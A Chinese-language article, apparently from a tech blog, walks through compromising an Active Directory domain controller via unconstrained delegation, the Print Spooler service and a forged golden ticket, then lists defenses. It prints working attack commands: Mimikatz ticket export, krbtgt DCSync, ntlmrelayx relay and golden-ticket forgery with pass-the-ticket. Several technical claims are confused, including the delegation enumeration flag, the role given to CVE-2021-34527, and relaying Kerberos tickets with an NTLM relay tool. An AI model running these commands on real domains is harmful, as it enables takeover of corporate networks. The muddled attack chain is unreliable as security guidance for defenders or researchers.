深度解析:非约束性委派+Spooler服务在黄金票据攻击中的应用
2025.09.19 18:14浏览量:0简介:本文深入探讨如何利用非约束性委派与Spooler打印机服务漏洞,结合黄金票据技术攻击域控制器,揭示攻击原理、操作步骤及防御策略。
深度解析:非约束性委派+Spooler服务在黄金票据攻击中的应用
摘要
在域环境安全攻防中,利用非约束性委派(Unconstrained Delegation)与Spooler打印机服务的漏洞,结合黄金票据(Golden Ticket)技术,已成为攻击者渗透域控制器(Domain Controller, DC)的高效手段。本文将从原理、操作步骤、防御措施三个维度,系统阐述这一攻击链的构建与防御方法,为安全研究人员和企业提供技术参考。
一、攻击链原理:非约束性委派与Spooler服务的协同作用
1.1 非约束性委派的核心机制
非约束性委派是Active Directory(AD)中的一种信任机制,允许服务账户(如计算机账户)代表用户访问其他服务的资源。其关键特性包括:
- TGS请求无限制:被配置为非约束性委派的服务账户,可请求任意服务的TGS(Ticket Granting Service)票据。
- 票据缓存风险:服务账户会缓存用户的TGT(Ticket Granting Ticket),攻击者可利用此票据伪造身份。
示例:若域中一台计算机(如DC01$
)被配置为非约束性委派,攻击者可通过该计算机获取域管理员的TGT。
1.2 Spooler服务的漏洞利用
Windows Spooler服务是打印机功能的核心组件,其存在以下安全风险:
- 权限提升:通过Spooler服务可执行本地系统权限的操作(如
Print Spooler
漏洞CVE-2021-34527)。 - 票据传递:结合非约束性委派,Spooler服务可作为中继点,将TGT传递给域控制器。
操作逻辑:攻击者通过Spooler服务触发非约束性委派,获取域控的TGS票据,进而伪造黄金票据。
二、攻击步骤:从委派配置到黄金票据生成
2.1 环境准备与信息收集
识别非约束性委派账户:
- 使用
PowerView
工具枚举域中配置非约束性委派的计算机账户:Get-NetComputer -TrustedToAuth | Select-Object Name, OperatingSystem
- 目标通常为域控制器或高权限服务器(如
DC01$
)。
- 使用
定位Spooler服务:
- 通过端口扫描(如
445/TCP
)或服务枚举,确认目标主机运行Spooler服务:Get-Service -Name Spooler | Select-Object Status, Name
- 通过端口扫描(如
2.2 触发非约束性委派
诱导服务账户缓存TGT:
- 通过社会工程学或漏洞利用,使目标用户(如域管理员)访问攻击者控制的恶意服务(如HTTP服务)。
- 恶意服务配置为非约束性委派,接收并缓存用户的TGT。
提取TGT票据:
- 使用
Mimikatz
从服务账户的内存中导出TGT:Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
- 使用
2.3 利用Spooler服务中继票据
构造中继攻击:
- 通过Spooler服务的漏洞(如
CVE-2021-34527
),将TGT票据中继至域控制器。 - 使用
ntlmrelayx
工具实现中继:ntlmrelayx.py -t ldap://DC01 -smb2support -use-ldaps
- 通过Spooler服务的漏洞(如
获取域控权限:
- 中继成功后,攻击者可获得域控的
NTLM
哈希,进一步用于横向移动。
- 中继成功后,攻击者可获得域控的
2.4 伪造黄金票据
提取KRBTGT账户的哈希:
- 通过域控权限,使用
Mimikatz
导出KRBTGT的AES256
或RC4
哈希:Invoke-Mimikatz -Command '"lsadump::dcsync /domain:contoso.com /user:krbtgt"'
- 通过域控权限,使用
生成黄金票据:
- 使用
Mimikatz
伪造黄金票据,指定域名、用户、SID和KRBTGT哈希:kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a1b2c3d4e5f6 /ptt
/ptt
参数将票据注入当前会话,实现即时访问。
- 使用
三、防御措施:阻断攻击链的关键环节
3.1 限制非约束性委派
- 审计与禁用:
- 使用
ADSI Edit
或PowerShell
检查并禁用非必要计算机的非约束性委派配置。 - 优先使用约束性委派(Constrained Delegation)或基于资源的约束委派(RBCD)。
- 使用
3.2 强化Spooler服务安全
- 禁用不必要的服务:
- 在非打印机服务器上禁用Spooler服务:
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
- 在非打印机服务器上禁用Spooler服务:
- 补丁管理:
- 及时应用微软发布的Spooler服务漏洞补丁(如CVE-2021-34527的修复程序)。
3.3 监控与检测
- 异常登录检测:
- 通过SIEM工具监控非工作时间或非常规IP的域控登录行为。
- 票据活动审计:
- 启用AD的审计策略,记录TGS请求与KRBTGT账户的使用情况。
3.4 最小权限原则
- 限制管理员权限:
- 遵循最小权限原则,避免日常账户拥有域管理员权限。
- 使用
Protected Users
组限制高风险账户的票据缓存。
四、总结与启示
本文通过解析非约束性委派与Spooler服务的协同利用,揭示了黄金票据攻击域控的核心路径。攻击者通过委派机制获取初始权限,再利用Spooler服务中继票据,最终伪造黄金票据实现持久化控制。防御方需从委派配置、服务安全、监控检测三方面构建纵深防御体系。
实践建议:
- 定期审计AD中的委派配置,禁用非约束性委派。
- 在非打印机服务器上禁用Spooler服务,或通过组策略限制其权限。
- 部署EDR解决方案,实时检测异常票据活动。
通过技术与管理措施的结合,可有效降低此类攻击的成功率,保障域环境的安全稳定。
发表评论
登录后可评论,请前往 登录 或 注册